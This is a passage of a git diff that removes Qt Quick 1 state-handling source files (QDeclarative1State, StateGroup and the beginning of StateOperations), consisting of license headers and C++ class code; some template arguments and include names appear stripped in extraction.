d->revertList.at(ii).specifiedProperty(); - a.event = d->revertList.at(ii).event(); - a.reverseEvent = d->revertList.at(ii).reverseEvent(); - if (a.event && a.event->isRewindable()) - a.event->saveCurrentValues(); - applyList << a; - // Store these special reverts in the reverting list - d->reverting << d->revertList.at(ii).property(); - } - } - // All the local reverts now become part of the ongoing revertList - d->revertList << additionalReverts; - -#ifndef QT_NO_DEBUG_STREAM - // Output for debugging - if (stateChangeDebug()) { - foreach(const QDeclarative1Action &action, applyList) { - if (action.event) - qWarning() << " QDeclarative1Action event:" << action.event->typeName(); - else - qWarning() << " QDeclarative1Action:" << action.property.object() - << action.property.name() << "From:" << action.fromValue - << "To:" << action.toValue; - } - } -#endif - - d->transitionManager.transition(applyList, trans); -} - -QDeclarative1StateOperation::ActionList QDeclarative1StateOperation::actions() -{ - return ActionList(); -} - -QDeclarative1State *QDeclarative1StateOperation::state() const -{ - Q_D(const QDeclarative1StateOperation); - return d->m_state; -} - -void QDeclarative1StateOperation::setState(QDeclarative1State *state) -{ - Q_D(QDeclarative1StateOperation); - d->m_state = state; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativestate_p.h b/src/qtquick1/util/qdeclarativestate_p.h deleted file mode 100644 index 3dc7facd68..0000000000 --- a/src/qtquick1/util/qdeclarativestate_p.h +++ /dev/null @@ -1,210 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESTATE_H -#define QDECLARATIVESTATE_H - -#include -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarativeAbstractBinding; -class QDeclarativeBinding; -class QDeclarativeExpression; - - -class QDeclarative1ActionEvent; -class Q_QTQUICK1_EXPORT QDeclarative1Action -{ -public: - QDeclarative1Action(); - QDeclarative1Action(QObject *, const QString &, const QVariant &); - QDeclarative1Action(QObject *, const QString &, - QDeclarativeContext *, const QVariant &); - - bool restore:1; - bool actionDone:1; - bool reverseEvent:1; - bool deletableToBinding:1; - - QDeclarativeProperty property; - QVariant fromValue; - QVariant toValue; - - QDeclarativeAbstractBinding *fromBinding; - QWeakPointer toBinding; - QDeclarative1ActionEvent *event; - - //strictly for matching - QObject *specifiedObject; - QString specifiedProperty; - - void deleteFromBinding(); -}; - -class Q_AUTOTEST_EXPORT QDeclarative1ActionEvent -{ -public: - virtual ~QDeclarative1ActionEvent(); - virtual QString typeName() const; - - enum Reason { ActualChange, FastForward }; - - virtual void execute(Reason reason = ActualChange); - virtual bool isReversable(); - virtual void reverse(Reason reason = ActualChange); - virtual void saveOriginals() {} - virtual bool needsCopy() { return false; } - virtual void copyOriginals(QDeclarative1ActionEvent *) {} - - virtual bool isRewindable() { return isReversable(); } - virtual void rewind() {} - virtual void saveCurrentValues() {} - virtual void saveTargetValues() {} - - virtual bool changesBindings(); - virtual void clearBindings(); - virtual bool override(QDeclarative1ActionEvent*other); -}; - -//### rename to QDeclarative1StateChange? -class QDeclarative1StateGroup; -class QDeclarative1State; -class QDeclarative1StateOperationPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1StateOperation : public QObject -{ - Q_OBJECT -public: - QDeclarative1StateOperation(QObject *parent = 0) - : QObject(parent) {} - typedef QList ActionList; - - virtual ActionList actions(); - - QDeclarative1State *state() const; - void setState(QDeclarative1State *state); - -protected: - QDeclarative1StateOperation(QObjectPrivate &dd, QObject *parent = 0); - -private: - Q_DECLARE_PRIVATE(QDeclarative1StateOperation) - Q_DISABLE_COPY(QDeclarative1StateOperation) -}; - -typedef QDeclarative1StateOperation::ActionList QDeclarative1StateActions; - -class QDeclarative1Transition; -class QDeclarative1StatePrivate; -class Q_QTQUICK1_EXPORT QDeclarative1State : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(QDeclarativeBinding *when READ when WRITE setWhen) - Q_PROPERTY(QString extend READ extends WRITE setExtends) - Q_PROPERTY(QDeclarativeListProperty changes READ changes) - Q_CLASSINFO("DefaultProperty", "changes") - Q_CLASSINFO("DeferredPropertyNames", "changes") - -public: - QDeclarative1State(QObject *parent=0); - virtual ~QDeclarative1State(); - - QString name() const; - void setName(const QString &); - bool isNamed() const; - - /*'when' is a QDeclarativeBinding to limit state changes oscillation - due to the unpredictable order of evaluation of bound expressions*/ - bool isWhenKnown() const; - QDeclarativeBinding *when() const; - void setWhen(QDeclarativeBinding *); - - QString extends() const; - void setExtends(const QString &); - - QDeclarativeListProperty changes(); - int operationCount() const; - QDeclarative1StateOperation *operationAt(int) const; - - QDeclarative1State &operator<<(QDeclarative1StateOperation *); - - void apply(QDeclarative1StateGroup *, QDeclarative1Transition *, QDeclarative1State *revert); - void cancel(); - - QDeclarative1StateGroup *stateGroup() const; - void setStateGroup(QDeclarative1StateGroup *); - - bool containsPropertyInRevertList(QObject *target, const QString &name) const; - bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue); - bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding); - bool removeEntryFromRevertList(QObject *target, const QString &name); - void addEntryToRevertList(const QDeclarative1Action &action); - void removeAllEntriesFromRevertList(QObject *target); - void addEntriesToRevertList(const QList &actions); - QVariant valueInRevertList(QObject *target, const QString &name) const; - QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const; - - bool isStateActive() const; - -Q_SIGNALS: - void completed(); - -private: - Q_DECLARE_PRIVATE(QDeclarative1State) - Q_DISABLE_COPY(QDeclarative1State) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1StateOperation) -QML_DECLARE_TYPE(QDeclarative1State) - -QT_END_HEADER - -#endif // QDECLARATIVESTATE_H diff --git a/src/qtquick1/util/qdeclarativestate_p_p.h b/src/qtquick1/util/qdeclarativestate_p_p.h deleted file mode 100644 index 529cb3f4a8..0000000000 --- a/src/qtquick1/util/qdeclarativestate_p_p.h +++ /dev/null @@ -1,253 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESTATE_P_H -#define QDECLARATIVESTATE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" -#include "QtQuick1/private/qdeclarativetransitionmanager_p_p.h" - -#include -#include - -#include - -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1SimpleAction -{ -public: - enum State { StartState, EndState }; - QDeclarative1SimpleAction(const QDeclarative1Action &a, State state = StartState) - { - m_property = a.property; - m_specifiedObject = a.specifiedObject; - m_specifiedProperty = a.specifiedProperty; - m_event = a.event; - if (state == StartState) { - m_value = a.fromValue; - if (QDeclarativePropertyPrivate::binding(m_property)) { - m_binding = QDeclarativeAbstractBinding::getPointer(QDeclarativePropertyPrivate::binding(m_property)); - } - m_reverseEvent = true; - } else { - m_value = a.toValue; - m_binding = a.toBinding; - m_reverseEvent = false; - } - } - - ~QDeclarative1SimpleAction() - { - } - - QDeclarative1SimpleAction(const QDeclarative1SimpleAction &other) - : m_property(other.m_property), - m_value(other.m_value), - m_binding(QDeclarativeAbstractBinding::getPointer(other.binding())), - m_specifiedObject(other.m_specifiedObject), - m_specifiedProperty(other.m_specifiedProperty), - m_event(other.m_event), - m_reverseEvent(other.m_reverseEvent) - { - } - - QDeclarative1SimpleAction &operator =(const QDeclarative1SimpleAction &other) - { - m_property = other.m_property; - m_value = other.m_value; - m_binding = QDeclarativeAbstractBinding::getPointer(other.binding()); - m_specifiedObject = other.m_specifiedObject; - m_specifiedProperty = other.m_specifiedProperty; - m_event = other.m_event; - m_reverseEvent = other.m_reverseEvent; - - return *this; - } - - void setProperty(const QDeclarativeProperty &property) - { - m_property = property; - } - - const QDeclarativeProperty &property() const - { - return m_property; - } - - void setValue(const QVariant &value) - { - m_value = value; - } - - const QVariant &value() const - { - return m_value; - } - - void setBinding(QDeclarativeAbstractBinding *binding) - { - m_binding = QDeclarativeAbstractBinding::getPointer(binding); - } - - QDeclarativeAbstractBinding *binding() const - { - return m_binding.data(); - } - - QObject *specifiedObject() const - { - return m_specifiedObject; - } - - const QString &specifiedProperty() const - { - return m_specifiedProperty; - } - - QDeclarative1ActionEvent *event() const - { - return m_event; - } - - bool reverseEvent() const - { - return m_reverseEvent; - } - -private: - QDeclarativeProperty m_property; - QVariant m_value; - QDeclarativeAbstractBinding::Pointer m_binding; - QObject *m_specifiedObject; - QString m_specifiedProperty; - QDeclarative1ActionEvent *m_event; - bool m_reverseEvent; -}; - -class QDeclarative1StateOperationPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1StateOperation) - -public: - - QDeclarative1StateOperationPrivate() - : m_state(0) {} - - QDeclarative1State *m_state; -}; - -class QDeclarative1StatePrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1State) - -public: - QDeclarative1StatePrivate() - : when(0), named(false), inState(false), group(0) {} - - typedef QList SimpleActionList; - - QString name; - QDeclarativeBinding *when; - bool named; - - struct OperationGuard : public QDeclarativeGuard - { - OperationGuard(QObject *obj, QList *l) : list(l) { (QDeclarativeGuard&)*this = obj; } - QList *list; - void objectDestroyed(QDeclarative1StateOperation *) { - // we assume priv will always be destroyed after objectDestroyed calls - list->removeOne(*this); - } - }; - QList operations; - - static void operations_append(QDeclarativeListProperty *prop, QDeclarative1StateOperation *op) { - QList *list = static_cast *>(prop->data); - op->setState(qobject_cast(prop->object)); - list->append(OperationGuard(op, list)); - } - static void operations_clear(QDeclarativeListProperty *prop) { - QList *list = static_cast *>(prop->data); - QMutableListIterator listIterator(*list); - while(listIterator.hasNext()) - listIterator.next()->setState(0); - list->clear(); - } - static int operations_count(QDeclarativeListProperty *prop) { - QList *list = static_cast *>(prop->data); - return list->count(); - } - static QDeclarative1StateOperation *operations_at(QDeclarativeListProperty *prop, int index) { - QList *list = static_cast *>(prop->data); - return list->at(index); - } - - QDeclarative1TransitionManager transitionManager; - - SimpleActionList revertList; - QList reverting; - QString extends; - mutable bool inState; - QDeclarative1StateGroup *group; - - QDeclarative1StateOperation::ActionList generateActionList(QDeclarative1StateGroup *) const; - void complete(); -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVESTATE_P_H diff --git a/src/qtquick1/util/qdeclarativestategroup.cpp b/src/qtquick1/util/qdeclarativestategroup.cpp deleted file mode 100644 index 168d16faad..0000000000 --- a/src/qtquick1/util/qdeclarativestategroup.cpp +++ /dev/null @@ -1,511 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativestategroup_p.h" - -#include "QtQuick1/private/qdeclarativetransition_p.h" -#include "QtQuick1/private/qdeclarativestate_p_p.h" - -#include -#include - -#include -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - - -DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG); - -class QDeclarative1StateGroupPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1StateGroup) -public: - QDeclarative1StateGroupPrivate() - : nullState(0), componentComplete(true), - ignoreTrans(false), applyingState(false), unnamedCount(0) {} - - QString currentState; - QDeclarative1State *nullState; - - static void append_state(QDeclarativeListProperty *list, QDeclarative1State *state); - static int count_state(QDeclarativeListProperty *list); - static QDeclarative1State *at_state(QDeclarativeListProperty *list, int index); - static void clear_states(QDeclarativeListProperty *list); - - static void append_transition(QDeclarativeListProperty *list, QDeclarative1Transition *state); - static int count_transitions(QDeclarativeListProperty *list); - static QDeclarative1Transition *at_transition(QDeclarativeListProperty *list, int index); - static void clear_transitions(QDeclarativeListProperty *list); - - QList states; - QList transitions; - - bool componentComplete; - bool ignoreTrans; - bool applyingState; - int unnamedCount; - - QDeclarative1Transition *findTransition(const QString &from, const QString &to); - void setCurrentStateInternal(const QString &state, bool = false); - bool updateAutoState(); -}; - -/*! - \qmlclass StateGroup QDeclarative1StateGroup - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \since QtQuick 1.0 - \brief The StateGroup element provides state support for non-Item elements. - - Item (and all derived elements) provides built in support for states and transitions - via its \l{Item::state}{state}, \l{Item::states}{states} and \l{Item::transitions}{transitions} properties. StateGroup provides an easy way to - use this support in other (non-Item-derived) elements. - - \qml - MyCustomObject { - StateGroup { - id: myStateGroup - states: State { - name: "state1" - // ... - } - transitions: Transition { - // ... - } - } - - onSomethingHappened: myStateGroup.state = "state1"; - } - \endqml - - \sa {qmlstate}{States} {QML Animation and Transitions}{Transitions}, {QtDeclarative} -*/ - -QDeclarative1StateGroup::QDeclarative1StateGroup(QObject *parent) - : QObject(*(new QDeclarative1StateGroupPrivate), parent) -{ -} - -QDeclarative1StateGroup::~QDeclarative1StateGroup() -{ - Q_D(const QDeclarative1StateGroup); - for (int i = 0; i < d->states.count(); ++i) - d->states.at(i)->setStateGroup(0); -} - -QList QDeclarative1StateGroup::states() const -{ - Q_D(const QDeclarative1StateGroup); - return d->states; -} - -/*! - \qmlproperty list QtQuick1::StateGroup::states - This property holds a list of states defined by the state group. - - \qml - StateGroup { - states: [ - State { - // State definition... - }, - State { - // ... - } - // Other states... - ] - } - \endqml - - \sa {qmlstate}{States} -*/ -QDeclarativeListProperty QDeclarative1StateGroup::statesProperty() -{ - Q_D(QDeclarative1StateGroup); - return QDeclarativeListProperty(this, &d->states, &QDeclarative1StateGroupPrivate::append_state, - &QDeclarative1StateGroupPrivate::count_state, - &QDeclarative1StateGroupPrivate::at_state, - &QDeclarative1StateGroupPrivate::clear_states); -} - -void QDeclarative1StateGroupPrivate::append_state(QDeclarativeListProperty *list, QDeclarative1State *state) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - if (state) { - _this->d_func()->states.append(state); - state->setStateGroup(_this); - } - -} - -int QDeclarative1StateGroupPrivate::count_state(QDeclarativeListProperty *list) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - return _this->d_func()->states.count(); -} - -QDeclarative1State *QDeclarative1StateGroupPrivate::at_state(QDeclarativeListProperty *list, int index) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - return _this->d_func()->states.at(index); -} - -void QDeclarative1StateGroupPrivate::clear_states(QDeclarativeListProperty *list) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - _this->d_func()->setCurrentStateInternal(QString(), true); - for (int i = 0; i < _this->d_func()->states.count(); ++i) { - _this->d_func()->states.at(i)->setStateGroup(0); - } - _this->d_func()->states.clear(); -} - -/*! - \qmlproperty list QtQuick1::StateGroup::transitions - This property holds a list of transitions defined by the state group. - - \qml - StateGroup { - transitions: [ - Transition { - // ... - }, - Transition { - // ... - } - // ... - ] - } - \endqml - - \sa {QML Animation and Transitions}{Transitions} -*/ -QDeclarativeListProperty QDeclarative1StateGroup::transitionsProperty() -{ - Q_D(QDeclarative1StateGroup); - return QDeclarativeListProperty(this, &d->transitions, &QDeclarative1StateGroupPrivate::append_transition, - &QDeclarative1StateGroupPrivate::count_transitions, - &QDeclarative1StateGroupPrivate::at_transition, - &QDeclarative1StateGroupPrivate::clear_transitions); -} - -void QDeclarative1StateGroupPrivate::append_transition(QDeclarativeListProperty *list, QDeclarative1Transition *trans) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - if (trans) - _this->d_func()->transitions.append(trans); -} - -int QDeclarative1StateGroupPrivate::count_transitions(QDeclarativeListProperty *list) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - return _this->d_func()->transitions.count(); -} - -QDeclarative1Transition *QDeclarative1StateGroupPrivate::at_transition(QDeclarativeListProperty *list, int index) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - return _this->d_func()->transitions.at(index); -} - -void QDeclarative1StateGroupPrivate::clear_transitions(QDeclarativeListProperty *list) -{ - QDeclarative1StateGroup *_this = static_cast(list->object); - _this->d_func()->transitions.clear(); -} - -/*! - \qmlproperty string QtQuick1::StateGroup::state - - This property holds the name of the current state of the state group. - - This property is often used in scripts to change between states. For - example: - - \js - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endjs - - If the state group is in its base state (i.e. no explicit state has been - set), \c state will be a blank string. Likewise, you can return a - state group to its base state by setting its current state to \c ''. - - \sa {qmlstates}{States} -*/ -QString QDeclarative1StateGroup::state() const -{ - Q_D(const QDeclarative1StateGroup); - return d->currentState; -} - -void QDeclarative1StateGroup::setState(const QString &state) -{ - Q_D(QDeclarative1StateGroup); - if (d->currentState == state) - return; - - d->setCurrentStateInternal(state); -} - -void QDeclarative1StateGroup::classBegin() -{ - Q_D(QDeclarative1StateGroup); - d->componentComplete = false; -} - -void QDeclarative1StateGroup::componentComplete() -{ - Q_D(QDeclarative1StateGroup); - d->componentComplete = true; - - for (int ii = 0; ii < d->states.count(); ++ii) { - QDeclarative1State *state = d->states.at(ii); - if (!state->isNamed()) - state->setName(QLatin1String("anonymousState") % QString::number(++d->unnamedCount)); - } - - if (d->updateAutoState()) { - return; - } else if (!d->currentState.isEmpty()) { - QString cs = d->currentState; - d->currentState.clear(); - d->setCurrentStateInternal(cs, true); - } -} - -/*! - Returns true if the state was changed, otherwise false. -*/ -bool QDeclarative1StateGroup::updateAutoState() -{ - Q_D(QDeclarative1StateGroup); - return d->updateAutoState(); -} - -bool QDeclarative1StateGroupPrivate::updateAutoState() -{ - Q_Q(QDeclarative1StateGroup); - if (!componentComplete) - return false; - - bool revert = false; - for (int ii = 0; ii < states.count(); ++ii) { - QDeclarative1State *state = states.at(ii); - if (state->isWhenKnown()) { - if (state->isNamed()) { - if (state->when() && state->when()->evaluate().toBool()) { - if (stateChangeDebug()) - qWarning() << "Setting auto state due to:" - << state->when()->expression(); - if (currentState != state->name()) { - q->setState(state->name()); - return true; - } else { - return false; - } - } else if (state->name() == currentState) { - revert = true; - } - } - } - } - if (revert) { - bool rv = !currentState.isEmpty(); - q->setState(QString()); - return rv; - } else { - return false; - } -} - -QDeclarative1Transition *QDeclarative1StateGroupPrivate::findTransition(const QString &from, const QString &to) -{ - QDeclarative1Transition *highest = 0; - int score = 0; - bool reversed = false; - bool done = false; - - for (int ii = 0; !done && ii < transitions.count(); ++ii) { - QDeclarative1Transition *t = transitions.at(ii); - for (int ii = 0; ii < 2; ++ii) - { - if (ii && (!t->reversible() || - (t->fromState() == QLatin1String("*") && - t->toState() == QLatin1String("*")))) - break; - QStringList fromState; - QStringList toState; - - fromState = t->fromState().split(QLatin1Char(',')); - for (int jj = 0; jj < fromState.count(); ++jj) - fromState[jj] = fromState.at(jj).trimmed(); - toState = t->toState().split(QLatin1Char(',')); - for (int jj = 0; jj < toState.count(); ++jj) - toState[jj] = toState.at(jj).trimmed(); - if (ii == 1) - qSwap(fromState, toState); - int tScore = 0; - if (fromState.contains(from)) - tScore += 2; - else if (fromState.contains(QLatin1String("*"))) - tScore += 1; - else - continue; - - if (toState.contains(to)) - tScore += 2; - else if (toState.contains(QLatin1String("*"))) - tScore += 1; - else - continue; - - if (ii == 1) - reversed = true; - else - reversed = false; - - if (tScore == 4) { - highest = t; - done = true; - break; - } else if (tScore > score) { - score = tScore; - highest = t; - } - } - } - - if (highest) - highest->setReversed(reversed); - - return highest; -} - -void QDeclarative1StateGroupPrivate::setCurrentStateInternal(const QString &state, - bool ignoreTrans) -{ - Q_Q(QDeclarative1StateGroup); - if (!componentComplete) { - currentState = state; - return; - } - - if (applyingState) { - qmlInfo(q) << "Can't apply a state change as part of a state definition."; - return; - } - - applyingState = true; - - QDeclarative1Transition *transition = ignoreTrans ? 0 : findTransition(currentState, state); - if (stateChangeDebug()) { - qWarning() << this << "Changing state. From" << currentState << ". To" << state; - if (transition) - qWarning() << " using transition" << transition->fromState() - << transition->toState(); - } - - QDeclarative1State *oldState = 0; - if (!currentState.isEmpty()) { - for (int ii = 0; ii < states.count(); ++ii) { - if (states.at(ii)->name() == currentState) { - oldState = states.at(ii); - break; - } - } - } - - currentState = state; - emit q->stateChanged(currentState); - - QDeclarative1State *newState = 0; - for (int ii = 0; ii < states.count(); ++ii) { - if (states.at(ii)->name() == currentState) { - newState = states.at(ii); - break; - } - } - - if (oldState == 0 || newState == 0) { - if (!nullState) { nullState = new QDeclarative1State; QDeclarative_setParent_noEvent(nullState, q); } - if (!oldState) oldState = nullState; - if (!newState) newState = nullState; - } - - newState->apply(q, transition, oldState); - applyingState = false; - if (!transition) - static_cast(QObjectPrivate::get(newState))->complete(); -} - -QDeclarative1State *QDeclarative1StateGroup::findState(const QString &name) const -{ - Q_D(const QDeclarative1StateGroup); - for (int i = 0; i < d->states.count(); ++i) { - QDeclarative1State *state = d->states.at(i); - if (state->name() == name) - return state; - } - - return 0; -} - -void QDeclarative1StateGroup::removeState(QDeclarative1State *state) -{ - Q_D(QDeclarative1StateGroup); - d->states.removeOne(state); -} - - - -QT_END_NAMESPACE - - diff --git a/src/qtquick1/util/qdeclarativestategroup_p.h b/src/qtquick1/util/qdeclarativestategroup_p.h deleted file mode 100644 index fe0f933c9c..0000000000 --- a/src/qtquick1/util/qdeclarativestategroup_p.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESTATEGROUP_H -#define QDECLARATIVESTATEGROUP_H - -#include "QtQuick1/private/qdeclarativestate_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1StateGroupPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1StateGroup : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_INTERFACES(QDeclarativeParserStatus) - Q_DECLARE_PRIVATE(QDeclarative1StateGroup) - - Q_PROPERTY(QString state READ state WRITE setState NOTIFY stateChanged) - Q_PROPERTY(QDeclarativeListProperty states READ statesProperty DESIGNABLE false) - Q_PROPERTY(QDeclarativeListProperty transitions READ transitionsProperty DESIGNABLE false) - -public: - QDeclarative1StateGroup(QObject * = 0); - virtual ~QDeclarative1StateGroup(); - - QString state() const; - void setState(const QString &); - - QDeclarativeListProperty statesProperty(); - QList states() const; - - QDeclarativeListProperty transitionsProperty(); - - QDeclarative1State *findState(const QString &name) const; - - virtual void classBegin(); - virtual void componentComplete(); -Q_SIGNALS: - void stateChanged(const QString &); - -private: - friend class QDeclarative1State; - bool updateAutoState(); - void removeState(QDeclarative1State *state); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1StateGroup) - -QT_END_HEADER - -#endif // QDECLARATIVESTATEGROUP_H diff --git a/src/qtquick1/util/qdeclarativestateoperations.cpp b/src/qtquick1/util/qdeclarativestateoperations.cpp deleted file mode 100644 index c11b199045..0000000000 --- a/src/qtquick1/util/qdeclarativestateoperations.cpp +++ /dev/null @@ -1,1594 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include "QtQuick1/private/qdeclarativeanchors_p_p.h" -#include "QtQuick1/private/qdeclarativeitem_p.h" -#include "QtDeclarative/private/qdeclarativenullablevalue_p_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1ParentChangePrivate : public QDeclarative1StateOperationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ParentChange) -public: - QDeclarative1ParentChangePrivate() : target(0), parent(0), origParent(0), origStackBefore(0), - rewindParent(0), rewindStackBefore(0) {} - - QDeclarativeItem *target; - QDeclarativeGuard parent; - QDeclarativeGuard origParent; - QDeclarativeGuard origStackBefore; - QDeclarativeItem *rewindParent; - QDeclarativeItem *rewindStackBefore; - - QDeclarativeNullableValue xString; - QDeclarativeNullableValue yString; - QDeclarativeNullableValue widthString; - QDeclarativeNullableValue heightString; - QDeclarativeNullableValue scaleString; - QDeclarativeNullableValue rotationString; - - QDeclarativeNullableValue x; - QDeclarativeNullableValue y; - 